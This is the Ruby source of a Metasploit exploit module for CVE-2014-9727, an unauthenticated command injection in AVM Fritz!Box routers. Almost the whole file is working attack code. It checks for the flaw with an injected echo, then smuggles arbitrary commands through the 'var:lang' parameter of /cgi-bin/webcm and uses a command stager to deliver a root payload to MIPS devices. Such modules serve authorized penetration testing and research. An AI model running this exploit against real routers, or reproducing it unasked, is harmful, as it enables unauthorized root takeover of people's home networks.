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metasploit-framework/modules/exploits/linux/http/fritzbox_echo_exec.rb
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## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::CmdStager | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Fritz!Box Webcm Unauthenticated Command Injection', | |
'Description' => %q{ | |
Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection. | |
This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the | |
following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270, | |
7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE, | |
6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270 | |
}, | |
'Author' => | |
[ | |
'Unknown', # Vulnerability discovery | |
'Fabian Braeunlein <fabian[at]breaking.systems>', # Metasploit PoC with wget method | |
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module | |
], | |
'License' => MSF_LICENSE, | |
'References' => | |
[ | |
[ 'CVE', '2014-9727' ], | |
[ 'OSVDB', '103289' ], | |
[ 'BID', '65520' ], | |
[ 'URL', 'http://www.kapple.de/?p=75' ], # vulnerability details with PoC | |
[ 'URL', 'https://www.speckmarschall.de/hoere.htm' ], # probably the first published details (now censored) | |
[ 'URL', 'http://pastebin.com/GnMKGmZ2' ], # published details uncensored from speckmarschall | |
[ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], # vendor site with a list of vulnerable devices | |
[ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] # writeup with PoC | |
], | |
'DisclosureDate' => '2014-02-11', | |
'Privileged' => true, | |
'Payload' => | |
{ | |
'DisableNops' => true | |
}, | |
'Targets' => | |
[ | |
[ 'MIPS Little Endian', | |
{ | |
'Platform' => 'linux', | |
'Arch' => ARCH_MIPSLE | |
} | |
], | |
[ 'MIPS Big Endian', | |
{ | |
'Platform' => 'linux', | |
'Arch' => ARCH_MIPSBE | |
} | |
], | |
], | |
'DefaultTarget' => 0 | |
)) | |
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') | |
end | |
def check | |
begin | |
clue = Rex::Text::rand_text_alpha(rand(5) + 5) | |
res = send_request_cgi({ | |
'uri' => '/cgi-bin/webcm', | |
'method' => 'GET', | |
'vars_get' => { | |
"var:lang" => "&echo -e \"\\n\\n#{clue}\"" | |
} | |
}) | |
if res && res.body =~ /#{clue}/ | |
return Exploit::CheckCode::Vulnerable | |
end | |
rescue ::Rex::ConnectionError | |
return Exploit::CheckCode::Unknown | |
end | |
Exploit::CheckCode::Safe | |
end | |
def execute_command(cmd, opts) | |
begin | |
res = send_request_cgi({ | |
'uri' => '/cgi-bin/webcm', | |
'method' => 'GET', | |
'vars_get' => { | |
"var:lang" => "&#{cmd}", | |
} | |
}) | |
return res | |
rescue ::Rex::ConnectionError | |
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") | |
end | |
end | |
def exploit | |
print_status("Trying to access the vulnerable URL...") | |
unless check == Exploit::CheckCode::Vulnerable | |
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") | |
end | |
print_status("Exploiting...") | |
execute_cmdstager( | |
flavor: :echo, | |
linemax: 92 | |
) | |
end | |
end |